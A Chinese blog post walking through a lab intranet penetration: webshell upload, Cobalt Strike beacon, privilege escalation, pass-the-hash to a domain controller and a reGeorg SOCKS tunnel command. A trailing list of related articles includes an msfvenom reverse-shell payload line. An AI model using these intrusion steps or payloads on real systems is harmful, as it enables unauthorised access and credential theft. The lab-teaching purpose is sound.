config_星辰
config_星辰

模拟真实内网渗透过程

环境搭建

模拟真实内网渗透过程_第1张图片

  • kali为cs服务器

    模拟真实内网渗透过程_第2张图片

  • win11为攻击者主机

    模拟真实内网渗透过程_第3张图片

  • DMZ模拟目标web服务器，配置两块网卡，一个连外网，一个连内网域控

    模拟真实内网渗透过程_第4张图片

最终要求在win11上使用cs对目标域控进行提权

实施过程

一、域控主机搭建域环境，DMZ主机加入域内

  1. 搭建域控
    win+R，dcpromo快速搭建域环境
    模拟真实内网渗透过程_第5张图片
    设置域名
    模拟真实内网渗透过程_第6张图片
  2. 将web服务器加入到域中
    模拟真实内网渗透过程_第7张图片
    模拟真实内网渗透过程_第8张图片

二、DMZ主机存在文件上传漏洞，上传⼀句话木马，使用哥斯拉链接，获取控制权限

  1. 使用靶场模拟一个文件上传漏洞，上传木马
  2. 制作一句话木马，并上传
    模拟真实内网渗透过程_第9张图片
    模拟真实内网渗透过程_第10张图片
  3. 成功连接
    模拟真实内网渗透过程_第11张图片

三、cs生成木马，使DMZ主机上线cs

  1. 在kali中开启cs服务
    模拟真实内网渗透过程_第12张图片

  2. 生成木马1.exe并上传到web服务器
    模拟真实内网渗透过程_第13张图片

    通过命令执行木马，卡住就说明正常连接

    在这里插入图片描述

  3. cs成功上线

    模拟真实内网渗透过程_第14张图片

四、提权到system权限，生成smblistener

模拟真实内网渗透过程_第15张图片
模拟真实内网渗透过程_第16张图片

这里选第二个，成功提到管理员
注：想提权成功不能打补丁！

按顺序提权即可

模拟真实内网渗透过程_第17张图片

五、使用哈西传递操作横向移动到预控，拿下预控权限

  1. 查看hash值
    模拟真实内网渗透过程_第18张图片
    在这里插入图片描述

  2. 扫描内网网段
    模拟真实内网渗透过程_第19张图片
    模拟真实内网渗透过程_第20张图片

    成功扫出域控服务器，445端口可以尝试永恒之蓝

    在这里插入图片描述

    模拟真实内网渗透过程_第21张图片

  3. 横向移动

    使用SMB建立新的监听

    原因是横向移动时，域控并不能直接访问cs服务器，需要通过web服务器当作跳板进行访问

    模拟真实内网渗透过程_第22张图片
    模拟真实内网渗透过程_第23张图片
    模拟真实内网渗透过程_第24张图片

    成功上线

    模拟真实内网渗透过程_第25张图片

六、搭建正向代理，在win11上直接访问到预控主机的服务，例如3389或者web

  1. 将架设代理的代码上传到web服务器

    正向代理的作用就是为了让攻击者通过在web上架设代理，从而达到外网访问到域控

    模拟真实内网渗透过程_第26张图片

    参数说明

    模拟真实内网渗透过程_第27张图片

    返回web服务器中查看，发现成功上传代码

    模拟真实内网渗透过程_第28张图片

  2. 测试是否能正常运行

    模拟真实内网渗透过程_第29张图片

  3. 在攻击机使用脚本开启socks5代理

    python2 reGeorgSocksProxy.py -p 8888 -u http://10.9.47.108/tunnel.nosocket.php

    代码的意思是，在自己本地的8888端口搭建socks服务，与web服务器那个脚本进行配合

    模拟真实内网渗透过程_第30张图片

    在域控开启web服务用于测试代理是否搭建成功

    使用网页插件，开启代理

    模拟真实内网渗透过程_第31张图片

    攻击机成功访问到域控的web服务

    模拟真实内网渗透过程_第32张图片

  4. 由于这只是web端的，无法连接3389服务，所以用到Proxifier工具

    启动客户端，设置代理并尝试远程连接域控

    模拟真实内网渗透过程_第33张图片

  5. 成功连接
    模拟真实内网渗透过程_第34张图片

你可能感兴趣的:(内网渗透,正向代理,socks5,Cobalt,Strike)

  • http和socks5代理哪个隐蔽性更强？ 做跨境的红姐 代理IPiptcp/ip
     HTTP代理和SOCKS5代理各有其优缺点，但就隐蔽性而言，SOCKS5代理通常比HTTP代理更隐蔽。以下是它们的比较：    HTTP代理：    透明性较高：HTTP代理在HTTP头中会透露原始客户端的IP地址，这使得它相对不太隐蔽。因为请求头中会包含”X-Forwarded-For”字段，显示了真实客
  • 探索SOCKS5代理、代理IP、HTTP与网络安全 京新云S5 web安全安全网络tcp/iphttp
    在这个数字化时代，网络安全已成为我们日常生活中不可或缺的一部分。作为一名软件工程师，深入理解网络通信的核心技术，如SOCKS5代理、代理IP、HTTP协议，以及它们在网络安全中的应用，对于设计和实施安全的网络应用至关重要。本文将为你揭开这些技术背后的神秘面纱，探讨它们在网络安全领域的实际应用和重要性。SOCKS5代理：网络隐身斗篷SOCKS5代理是一种网络协议，提供了一种将网络请求从客户端转发到服
  • SOCKS5代理、代理IP、HTTP与网络安全 京新云S5 tcp/iphttpweb安全
    在这个信息爆炂的时代，网络安全已成为软件工程师不可回避的挑战。从数据传输的基本协议HTTP到复杂的网络隐匿技术如SOCKS5代理和代理IP，这些技术的应用和理解对于保障数据传输的安全性至关重要。本文将带你深入了解这些技术的核心原理和它们在网络安全中的应用。HTTP：互联网通信的基石HTTP（HyperTextTransferProtocol，超文本传输协议）是互联网上应用最为广泛的网络协议之一，它
  • 从Socks5代理到HTTP代理IP的安全探索与趣味发现 京新云S5 tcp/iphttp网络协议网络web安全
    在当今数字化时代，网络安全和隐私保护已经成为我们生活中不可或缺的一部分。而了解代理服务、网络协议以及网络安全，将有助于我们更好地理解和保护自己在网络世界中的权益。本文将带领大家探索Socks5代理、代理IP、HTTP协议等概念，并揭示其中的网络安全关键，同时发现其中的趣味之处。1.了解代理服务代理服务是网络通信中的一种重要方式，它允许用户通过第三方服务器进行网络通信。Socks5代理和HTTP代理
  • 什么是基于协议的代理ip，代理ip的种类及区别 爬虫
    有许多类型的代理ip可供使用。每个代理ip都有一个独特的功能，可以将其与其他类型的代理ip区分开来。在本文中，我们将讨论基于他们使用的协议的代理ip。基于协议的代理ip这些类型的代理由您的设备在Internet上路由数据的方式定义，因此它基于您连接到网站或Web应用程序的方式。目前，主要有三种基于协议的代理：HTTP代理ip、HTTPS代理ip和SOCKS5代理ip。HTTP代理ipHTTP代理i
  • Nginx常用配置--正向代理服务器 ststcheung nginx运维
    server{resolver8.8.8.8;listen80;location/{proxy_passhttp://$http_host$request_uri;}}在客户端配置http_proxy环境变量，exporthttp_proxy=http://你的正向代理服务器地址:代理端口，即可使用代理服务器上网。
  • SOCKS5、代理IP、HTTP的奥秘揭示 京新云S5 tcp/iphttp网络协议
    在当今数字化的世界中，网络安全已成为全球关注的焦点之一。而网络代理技术作为保护个人隐私、加强网络安全的重要手段之一，其背后的原理和运作机制又是怎样的呢？本文将深度解析SOCKS5代理、代理IP、HTTP代理等技术，并揭示其中深奥的奥秘，带您走进网络安全的世界。1.SOCKS5代理：通向网络深渊的钥匙SOCKS5代理作为一种高级的网络代理协议，承载着网络通信的重要任务。其灵活的身份验证机制、支持TC
  • 从 SOCKS5、代理IP 到 HTTP 的趣味解读 京新云S5 tcp/iphttp网络协议网络
    在数字化时代，网络安全已成为人们日常生活和工作中不可或缺的重要议题。然而，随着网络技术的发展，我们也发现了一些趣味横生的网络代理技术，比如SOCKS5、代理IP和HTTP代理。本文将以轻松愉快的方式，探讨这些技术在网络安全中的作用，让我们一起来揭开网络代理的神秘面纱吧！穿越网络边界的SOCKS5SOCKS5，听起来就像是某个神秘组织的代号一样，但它实际上是一种网络代理协议。就像穿越时空的穿梭机一样
  • Chrome 浏览器代理插件 SwitchyOmega 安装与使用 上海-悠悠 Mitmproxy代理mockchrome
    前言SwitchyOmega是什么？ProxySwitchyOmega是Chrome和Firefox浏览器上的代理扩展程序，可以轻松快捷的管理和切换多个代理设置，支持HTTP、HTTPS、SOCKS4、SOCKS5等多种代理协议。SwitchyOmega只是管理代理的，本身并不提供代理服务，需要配合节点使用。下载SwitchyOmega插件官网Github仓库下载SwitchyOmega官网Git
  • nginx的正向代理和反向代理 飞飞彪 前端服务器linux
    正向代理正向代理是指客户端通过代理服务器访问互联网资源。客户端发送请求到代理服务器，然后由代理服务器代为向互联网资源服务器发送请求，并将响应返回给客户端。在这种情况下，互联网资源服务器并不知道请求的真实发起者是谁，只知道是代理服务器发起的请求。在Nginx中，你可以配置为正向代理，允许客户端通过Nginx服务器访问互联网资源。这种情况下，Nginx会将客户端的请求转发到目标服务器，并将响应返回给客
  • 正向代理与反向代理 BetterChinglish 网络代理模式网络
    记不住一点，记录下来代理是对于客户端与服务端而言的正向代理即使用一个服务器为客户端代理，与其他服务器交流。例如要访问国外网站，有一个服务器可以访问国外网站，而我们可以访问这个服务器，则将这个服务器作为我们的代理，接收国外网站的信息，然后我们与代理服务器进行沟通，这就是正向代理。反向代理使用一个服务器为服务端代理，与其他客户端交流。例如解决跨域问题。由于服务器直接没有跨域限制，可以本地起一个服务器与
  • 命令执行讲解和函数 Ryongao 网络安全命令执行
    命令执行漏洞简介命令执行漏洞产生原因应用未对用户输入做严格得检查过滤，导致用户输入得参数被当成命令来执行命令执行漏洞的危害1.继承Web服务程序的权限去执行系统命会或读写文件2.反弹shell，获得目标服务器的权限3.进一步内网渗透远程代码执行因为业务需求，在PHP中有时需要调用一些执行命令的函数·如:eval0、assert0、preg_replace0、create_function0等，如果
  • 大白话讲解什么是正向代理什么是反向代理 才艺のblog 前端服务器linux
    代理服务器要想了解什么是正向代理什么是反向代理，那就要首先了解代理服务器技术。代理服务器：一种部署于客户端与服务器之间的服务器，代替客户端与服务器对外部网络进行发送或接收消息。1、什么是正向代理？正向代理：在客户端部署代理服务器，代替客户端对外部网络发送和接收消息。客户端发送一个指定目标的请求给代理服务器，代理服务器再发送给目标服务器，目标服务器收到请求后，将响应的内容发送给代理服务器，代理服务器
  • 深入了解 SOCKS5 代理、代理 IP 和 HTTP 京新云S5 tcp/iphttp网络协议
    在网络通信和数据传输中，代理服务器扮演着至关重要的角色。本文将深入探讨SOCKS5代理、代理IP和HTTP，揭示它们的工作原理、应用场景以及优缺点。1.SOCKS5代理SOCKS（SocketSecure）是一种网络协议，允许客户端通过代理服务器连接到目标服务器。SOCKS5是SOCKS协议的最新版本，它提供了更多的认证方法和安全特性。SOCKS5代理在网络安全和隐私保护方面发挥着重要作用，常见的
  • Nginx学习笔记 骄傲的笔者吴 网络
    Bilibili尚硅谷视频Nginx简介Nginx概述Nginx(“enginex”)是一个高性能的HTTP和反向代理服务器，特点是占有内存少，并发能力强，能经受高负载的考验,有报告表明能支持高达50,000个并发连接数。正向代理正向代理：如果把局域网外的Internet想象成一个巨大的资源库，则局域网中的客户端要访问Internet，则需要通过代理服务器来访问，这种代理服务就称为正向代理。反向代
  • Nginx 正向代理、反向代理 但行益事莫问前程 nginxnginx运维
    文章目录前言1.正向代理1.1概念1.2逻辑图1.3使用场景2.反向代理2.1概念2.2逻辑图2.3使用场景前言  正向代理主要是用来解决访问限制问题；反向代理则是提供负载均衡、安全防护等作用1.正向代理1.1概念  正向代理是一个位于客户端和目标服务器之间的代理服务器（中间服务器）。为了从目标服务器取得内容，客户端向代理服务器发送一个请求，并且指定目标服务器，之后代理向目标服务器转发请求，将获得
  • Nginx 做个专注的工程师 #nginxnginx运维
    1Nginx简介Nginx是一个高性能的Web服务器和反向代理的软件。Web服务器：就是运行我们web服务的容器，提供web功能，还有tomcat也提供类似的功能。代理是软件架构和网络设计中，非常重要的一个概念。有两种代理：正向代理和反向代理。正向代理用户端设置代理服务器。所有的请求都由代理服务器发出，无法判断代理了多少用户端，叫正向代理。反向代理和正向代理相反：在服务端设置代理，所有请求，由服务
  • Nginx学习笔记 菜鸟学Java2021 Nginxnginx服务器linux
    什么是Nginx一款高性能的http服务器/反向代理服务器，能够支撑5万并发连接，并且cpu、内存资源消耗非常低Nginx能做什么http服务器，做网页静态服务器。虚拟主机，实现一台服务器虚拟出多个网站。可以做反向代理、负载均衡、动静分离。什么是反向代理(1)正向代理在客户端（浏览器）配置代理服务器，通过代理服务器进行互联网访问(2)反向代理客户端只需要将请求发送到反向代理服务器，由反向代理服务器
  • CFS三层靶机 0e1G7 渗透笔记服务器linux运维
    参考博客：CFS三层内网靶场渗透记录【详细指南】-FreeBuf网络安全行业门户CFS三层靶机搭建及其内网渗透【附靶场环境】|TeamsSixCFS三层网络环境靶场实战-PANDA墨森-博客园(cnblogs.com)CFS三层靶机实战--内网横向渗透-知乎(zhihu.com)CFS靶机实战演练-从外网杀进三层内网，横向渗透拿到Flag-阿里云开发者社区(aliyun.com)主机发现fscan
  • 几款实用的内网穿透工具 网络安全-李彦暗 网络web安全网络安全安全java
    本文以渗透的视角，总结几种个人常用的内网穿透，内网代理工具，介绍其简单原理和使用方法。01nps-npc1.1简介nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发，可支持任何tcp、udp上层协议（访问内网网站、本地支付接口调试、ssh访问、远程桌面，内网dns解析等等……），此外还支持内网http代理、内网socks5代理、p2p等，并带有功能强大的web
  • 关于正向代理与反向代理的理解 liuyong143
    一、正向代理1.介绍正向代理最大的特点是客户端非常明确要访问的服务器地址；服务器只清楚请求来自哪个代理服务器，而不清楚来自哪个具体的客户端；正向代理模式屏蔽或者隐藏了真实客户端信息。客户端必须设置正向代理服务器，当然前提是要知道正向代理服务器的IP地址，还有代理程序的端口。2.使用场景访问原来无法访问的资源，如Google。可以做缓存，加速访问资源。对客户端访问授权，上网进行认证。代理可以记录用户
  • 渗透测试工具库总结（全网最全） Pluto－2003 笔记网络安全测试工具github
    目录Web渗透综合扫描类1.外网2.内网信息搜集类指纹扫描资产发现子域名收集目录扫描端口扫描Burp插件浏览器插件钓鱼平台漏洞利用类综合漏洞扫描工具中间件/应用/接口漏洞利用工具信息泄露利用工具数据库利用工具社工/常规字典制作/收集常用漏洞利用工具爆破利用工具反序列化利用工具内存马注入工具探活工具反连平台内网渗透类webshell管理/插件工具c2管理工具提权项目内网收集工具横向移动工具域渗透工具
  • 快看！比KaliLinux更炫酷的鹦鹉OS系统！！ 知攻善防实验室 网络安全渗透测试Web渗透黑客操作系统
    注本公众号，长期推送技术文章知攻善防实验室红蓝对抗，Web渗透测试，红队攻击，蓝队防守，内网渗透，漏洞分析，漏洞原理，开源工具，社工钓鱼，网络安全。79篇原创内容公众号免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！前言本期介绍的为parr
  • 帮管客 存在用户信息泄露-漏洞复现-附EXP 知攻善防实验室 漏洞复现信息安全网络安全
    注本公众号，长期推送技术文章知攻善防实验室红蓝对抗，Web渗透测试，红队攻击，蓝队防守，内网渗透，漏洞分析，漏洞原理，开源工具，社工钓鱼，网络安全。78篇原创内容公众号免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！前言帮管客是一款基于移动
  • 正向代理和反向代理 kevin0016
    正向代理和反向代理1、正向代理image.png起点是客户端，返回点是互联网，正向代理服务器更像是一个跳板机；最为经典的例子就是搭建梯子，翻墙用：我是一个用户，我访问不了某网站，但是我能访问一个代理服务器，这个代理服务器呢,他能访问那个我不能访问的网站，于是我先连上代理服务器,告诉他我需要那个无法访问网站的内容，代理服务器去取回来,然后返回给我。从网站的角度，只在代理服务器来取内容的时候有一次记录
  • 内网渗透概述 BTY@BTY 服务器运维网络安全安全web安全
    渗透概念正向shell：攻击者连接被攻击者机器，可用于攻击者处于内网，被攻击者处于公网的情况。攻击者–>被攻击者反向shell：被攻击者主动连接攻击者，可用于攻击者处于外网，被攻击者处于内网的情况。攻击者abc.exeAndroidAndroid:msfvenom-pandroid/meterpreter/reverse_tcpLHOST=192.168.107.129LPORT=5555R>/r
  • 内网渗透命令大全 网络安全进阶 渗透测试网络安全入门渗透测试学习零基础学安全网络安全学习路线
    1.域常用操作命令：1.域常用操作命令：netgroup/domain//获得所有域用户组列表netgroupqq_group/domain//显示域中qq_group组的成员netgroupqq_group/del/domain//删除域中qq_group组netgroupqq_groupqq/del/domain//删除域内qq_group群组中的成员QQnetgroupqq_group/ad
  • 【后端高频面试题--Nginx篇】 码上有前 后端nginx运维
    作者：“码上有前”文章简介：后端高频面试题欢迎小伙伴们点赞、收藏⭐、留言后端高频面试题--Nginx篇什么是Nginx？为什么要用Nginx？为什么Nginx性能这么高？Nginx怎么处理请求的？什么是正向代理和反向代理？Nginx应用场景？Nginx目录结构有哪些？Nginx配置文件nginx.conf有哪些属性模块?如何用Nginx解决前端跨域问题？Nginx虚拟主机怎么配置?location
  • NPS 内网穿透 果冉多
    1.About一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发，可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面，内网dns解析、内网socks5代理等等……，并带有功能强大的web管理端。GitHub地址及相关文档github地址：https://github.com/ehang-io/nps说明文档：https://eha
  • 内网安全-内网穿透 真的学不了一点。。。 内网渗透安全网络安全
    目录内网渗透Nc使用详解Nc监听和探测Nc传文件termite内网穿透工具ssh代理内网穿透ssh配置socket代理MSF多级网络穿透内网渗透Nc使用详解Nc监听和探测Nc传文件termite内网穿透工具1、termite之前叫ew （可以进行正向连接，可以进行反向连接）​2、靶机监听流量转发：./ew_for_linux64-srcsocks-l1111-e2222 #将1111端口监听到的本
  • 二分查找排序算法 周凡杨 java二分查找排序算法折半
    一：概念 二分查找又称 折半查找（ 折半搜索/ 二分搜索），优点是比较次数少，查找速度快，平均性能好；其缺点是要求待查表为有序表，且插入删除困难。因此，折半查找方法适用于不经常变动而 查找频繁的有序列表。首先，假设表中元素是按升序排列，将表中间位置记录的关键字与查找关键字比较，如果两者相等，则查找成功；否则利用中间位置记录将表 分成前、后两个子表，如果中间位置记录的关键字大于查找关键字，则进一步
  • java中的BigDecimal bijian1013 javaBigDecimal
            在项目开发过程中出现精度丢失问题，查资料用BigDecimal解决，并发现如下这篇BigDecimal的解决问题的思路和方法很值得学习，特转载。         原文地址：http://blog.csdn.net/ugg/article/de
  • Shell echo命令详解 daizj echoshell
    Shell echo命令 Shell 的 echo 指令与 PHP 的 echo 指令类似，都是用于字符串的输出。命令格式： echo string 您可以使用echo实现更复杂的输出格式控制。 1.显示普通字符串: echo "It is a test" 这里的双引号完全可以省略，以下命令与上面实例效果一致： echo Itis a test 2.显示转义
  • Oracle DBA 简单操作 周凡杨 oracle dba sql
    --执行次数多的SQL select sql_text,executions from (      select sql_text,executions from v$sqlarea order by executions desc      ) where rownum<81;  &nb
  • 画图重绘 朱辉辉33 游戏
      我第一次接触重绘是编写五子棋小游戏的时候，因为游戏里的棋盘是用线绘制的，而这些东西并不在系统自带的重绘里，所以在移动窗体时，棋盘并不会重绘出来。所以我们要重写系统的重绘方法。   在重写系统重绘方法时，我们要注意一定要调用父类的重绘方法，即加上super.paint(g)，因为如果不调用父类的重绘方式，重写后会把父类的重绘覆盖掉，而父类的重绘方法是绘制画布，这样就导致我们
  • 线程之初体验 西蜀石兰 线程
    一直觉得多线程是学Java的一个分水岭，懂多线程才算入门。 之前看《编程思想》的多线程章节，看的云里雾里，知道线程类有哪几个方法，却依旧不知道线程到底是什么？书上都写线程是进程的模块，共享线程的资源，可是这跟多线程编程有毛线的关系，呜呜。。。 线程其实也是用户自定义的任务，不要过多的强调线程的属性，而忽略了线程最基本的属性。 你可以在线程类的run()方法中定义自己的任务，就跟正常的Ja
  • linux集群互相免登陆配置 林鹤霄 linux
    配置ssh免登陆 1、生成秘钥和公钥    ssh-keygen -t rsa 2、提示让你输入，什么都不输，三次回车之后会在~下面的.ssh文件夹中多出两个文件id_rsa 和 id_rsa.pub    其中id_rsa为秘钥，id_rsa.pub为公钥，使用公钥加密的数据只有私钥才能对这些数据解密    c
  • mysql : Lock wait timeout exceeded; try restarting transaction aigo mysql
    原文：http://www.cnblogs.com/freeliver54/archive/2010/09/30/1839042.html   原因是你使用的InnoDB   表类型的时候, 默认参数:innodb_lock_wait_timeout设置锁等待的时间是50s, 因为有的锁等待超过了这个时间,所以抱错.   你可以把这个时间加长,或者优化存储
  • Socket编程 基本的聊天实现。 alleni123 socket
    public class Server { //用来存储所有连接上来的客户 private List<ServerThread> clients; public static void main(String[] args) { Server s = new Server(); s.startServer(9988); } publi
  • 多线程监听器事件模式(一个简单的例子) 百合不是茶 线程监听模式
        多线程的事件监听器模式   监听器时间模式经常与多线程使用,在多线程中如何知道我的线程正在执行那什么内容,可以通过时间监听器模式得到        创建多线程的事件监听器模式 思路:    1, 创建线程并启动,在创建线程的位置设置一个标记     2,创建队
  • spring InitializingBean接口 bijian1013 javaspring
    spring的事务的TransactionTemplate，其源码如下： public class TransactionTemplate extends DefaultTransactionDefinition implements TransactionOperations, InitializingBean{ ... } TransactionTemplate继承了DefaultT
  • Oracle中询表的权限被授予给了哪些用户 bijian1013 oracle数据库权限
            Oracle查询表将权限赋给了哪些用户的SQL，以备查用。 select t.table_name as "表名", t.grantee as "被授权的属组", t.owner as "对象所在的属组"
  • 【Struts2五】Struts2 参数传值 bit1129 struts2
    Struts2中参数传值的3种情况 1.请求参数绑定到Action的实例字段上 2.Action将值传递到转发的视图上 3.Action将值传递到重定向的视图上   一、请求参数绑定到Action的实例字段上以及Action将值传递到转发的视图上 Struts可以自动将请求URL中的请求参数或者表单提交的参数绑定到Action定义的实例字段上，绑定的规则使用ognl表达式语言
  • 【Kafka十四】关于auto.offset.reset[Q/A] bit1129 kafka
    I got serveral questions about  auto.offset.reset. This configuration parameter governs how  consumer read the message from  Kafka when  there is no initial offset in ZooKeeper or
  • nginx gzip压缩配置 ronin47 nginx gzip 压缩范例
    nginx gzip压缩配置 更多 0 nginx gzip 配置   随着nginx的发展，越来越多的网站使用nginx，因此nginx的优化变得越来越重要，今天我们来看看nginx的gzip压缩到底是怎么压缩的呢？ gzip(GNU-ZIP)是一种压缩技术。经过gzip压缩后页面大小可以变为原来的30%甚至更小，这样，用
  • java-13.输入一个单向链表，输出该链表中倒数第 k 个节点 bylijinnan java
    two cursors. Make the first cursor go K steps first. /* * 第 13 题：题目：输入一个单向链表，输出该链表中倒数第 k 个节点 */ public void displayKthItemsBackWard(ListNode head,int k){ ListNode p1=head,p2=head;
  • Spring源码学习-JdbcTemplate queryForObject bylijinnan javaspring
    JdbcTemplate中有两个可能会混淆的queryForObject方法： 1. Object queryForObject(String sql, Object[] args, Class requiredType) 2. Object queryForObject(String sql, Object[] args, RowMapper rowMapper) 第1个方法是只查
  • [冰川时代]在冰川时代,我们需要什么样的技术? comsci 技术
         看美国那边的气候情况....我有个感觉...是不是要进入小冰期了?      那么在小冰期里面...我们的户外活动肯定会出现很多问题...在室内呆着的情况会非常多...怎么在室内呆着而不发闷...怎么用最低的电力保证室内的温度.....这都需要技术手段...   &nb
  • js 获取浏览器型号 cuityang js浏览器
    根据浏览器获取iphone和apk的下载地址 <!DOCTYPE html> <html> <head>     <meta charset="utf-8" content="text/html"/>     <meta name=
  • C# socks5详解 转 dalan_123 socketC#
    http://www.cnblogs.com/zhujiechang/archive/2008/10/21/1316308.html  这里主要讲的是用.NET实现基于Socket5下面的代理协议进行客户端的通讯，Socket4的实现是类似的，注意的事，这里不是讲用C#实现一个代理服务器，因为实现一个代理服务器需要实现很多协议，头大，而且现在市面上有很多现成的代理服务器用，性能又好，
  • 运维 Centos问题汇总 dcj3sjt126com 云主机
    一、sh 脚本不执行的原因 sh脚本不执行的原因 只有2个 1.权限不够 2.sh脚本里路径没写完整。   二、解决You have new mail in /var/spool/mail/root 修改/usr/share/logwatch/default.conf/logwatch.conf配置文件 MailTo = MailFrom   三、查询连接数
  • Yii防注入攻击笔记 dcj3sjt126com sqlWEB安全yii
    网站表单有注入漏洞须对所有用户输入的内容进行个过滤和检查，可以使用正则表达式或者直接输入字符判断，大部分是只允许输入字母和数字的，其它字符度不允许；对于内容复杂表单的内容，应该对html和script的符号进行转义替换：尤其是<,>,',"",&这几个符号 这里有个转义对照表： http://blog.csdn.net/xinzhu1990/articl
  • MongoDB简介[一] eksliang mongodbMongoDB简介
    MongoDB简介 转载请出自出处：http://eksliang.iteye.com/blog/2173288 1.1易于使用        MongoDB是一个面向文档的数据库，而不是关系型数据库。与关系型数据库相比，面向文档的数据库不再有行的概念，取而代之的是更为灵活的“文档”模型。        另外，不
  • zookeeper windows 入门安装和测试 greemranqq zookeeper安装分布式
    一、序言       以下是我对zookeeper 的一些理解：      zookeeper 作为一个服务注册信息存储的管理工具，好吧，这样说得很抽象，我们举个“栗子”。       栗子1号：       假设我是一家KTV的老板，我同时拥有5家KTV，我肯定得时刻监视
  • Spring之使用事务缘由(2-注解实现) ihuning spring
      Spring事务注解实现   1. 依赖包：     1.1 spring包：           spring-beans-4.0.0.RELEASE.jar           spring-context-4.0.0.
  • iOS App Launch Option 啸笑天 option
    iOS 程序启动时总会调用application:didFinishLaunchingWithOptions:，其中第二个参数launchOptions为NSDictionary类型的对象，里面存储有此程序启动的原因。   launchOptions中的可能键值见UIApplication Class Reference的Launch Options Keys节 。 1、若用户直接
  • jdk与jre的区别（_） macroli javajvmjdk
    简单的说JDK是面向开发人员使用的SDK，它提供了Java的开发环境和运行环境。SDK是Software Development Kit 一般指软件开发包，可以包括函数库、编译程序等。  JDK就是Java Development Kit JRE是Java Runtime Enviroment是指Java的运行环境，是面向Java程序的使用者，而不是开发者。 如果安装了JDK，会发同你
  • Updates were rejected because the tip of your current branch is behind qiaolevip 学习永无止境每天进步一点点众观千象git
    $ git push joe prod-2295-1 To [email protected]:joe.le/dr-frontend.git ! [rejected] prod-2295-1 -> prod-2295-1 (non-fast-forward) error: failed to push some refs to '[email protected]
  • [一起学Hive]之十四-Hive的元数据表结构详解 superlxw1234 hivehive元数据结构
    关键字：Hive元数据、Hive元数据表结构   之前在 “[一起学Hive]之一–Hive概述，Hive是什么”中介绍过，Hive自己维护了一套元数据，用户通过HQL查询时候，Hive首先需要结合元数据，将HQL翻译成MapReduce去执行。 本文介绍一下Hive元数据中重要的一些表结构及用途，以Hive0.13为例。   文章最后面，会以一个示例来全面了解一下，
  • Spring 3.2.14，4.1.7，4.2.RC2发布 wiselyman Spring 3
      Spring 3.2.14、4.1.7及4.2.RC2于6月30日发布。   其中Spring 3.2.1是一个维护版本(维护周期到2016-12-31截止)，后续会继续根据需求和bug发布维护版本。此时，Spring官方强烈建议升级Spring框架至4.1.7 或者将要发布的4.2 。   其中Spring 4.1.7主要包含这些更新内容。
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他